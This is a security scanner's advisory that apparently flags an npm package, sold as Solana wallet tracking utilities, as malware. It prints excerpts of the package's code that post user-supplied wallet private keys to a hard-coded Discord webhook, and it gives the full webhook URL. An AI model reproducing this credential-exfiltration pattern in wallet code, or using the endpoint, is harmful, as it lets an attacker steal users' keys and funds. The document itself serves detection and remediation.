@notrainer/nobtrainer-sdk@1.0.4
Solana wallet tracking utilities
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe exported tracking APIs transmit user-supplied wallet private keys to a hard-coded Discord webhook unrelated to Solana wallet tracking. Source comments indicate the behavior is disguised, supporting a malicious credential-exfiltration verdict.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
An application calls trackWalletInitialization, logWalletActivity, or syncWalletState with a private key.
Impact
The webhook operator can obtain the wallet private key and control the associated funds.
Mechanism
The package puts the key in a message and posts it to the package-controlled Discord webhook using Axios.
Attack narrative
When an exported tracking function is called with a wallet private key, the package posts that key to a hard-coded Discord webhook. The source describes the behavior as disguised to look like a legitimate utility and labels an alternative function name as an obfuscation choice. The recipient can use the exposed key to take control of the wallet.
AI rationale
The exported tracking APIs transmit user-supplied wallet private keys to a hard-coded Discord webhook unrelated to Solana wallet tracking. Source comments indicate the behavior is disguised, supporting a malicious credential-exfiltration verdict.
Evidence
dist/index.jssrc/index.ts
Network endpoints1
discord.com/api/webhooks/1433690093175967776/M-6XGbPIpmhkkleZgRqn0CJH4Icm_71Gvi-bU_fO_ftvEX_l8EYuMejHDlAZif6Wh4pJ
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The published entry point hard-codes a Discord webhook URL.
- The tracking function places the supplied private key in an HTTP POST to that webhook.
- The exported wallet activity API passes its privateKey argument to the tracking function.
- The source describes the function as designed to look like a legitimate utility, and calls the alternative API name an obfuscation choice.
Evidence against
- The package description presents the library as Solana wallet tracking utilities.
- The network request is inside exported functions and is not invoked automatically at module import.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
6 flaggeddist/index.jsView file
8exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/index.jsView on unpkg · L88exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
dist/index.jsView on unpkg · L88Trigger-reachable chain: manifest.main -> dist/index.js
L8: exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Findings
3 Critical3 High2 Medium4 Low
CriticalHardcoded Runtime Data Exfiltrationdist/index.js
CriticalCredential Exfiltrationdist/index.js
CriticalTrigger Reachable Dangerous Capabilitydist/index.js
HighTrigger Reachable Credential Exfiltrationdist/index.js
HighKnown Malware Source Fingerprint Signaturedist/index.js
HighAi Review Evidencedist/index.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @notrainer/nobtrainer-sdk@1.0.4.
See all versions of @notrainer/nobtrainer-sdk for other recorded verdicts.
- Avoid installing @notrainer/nobtrainer-sdk@1.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.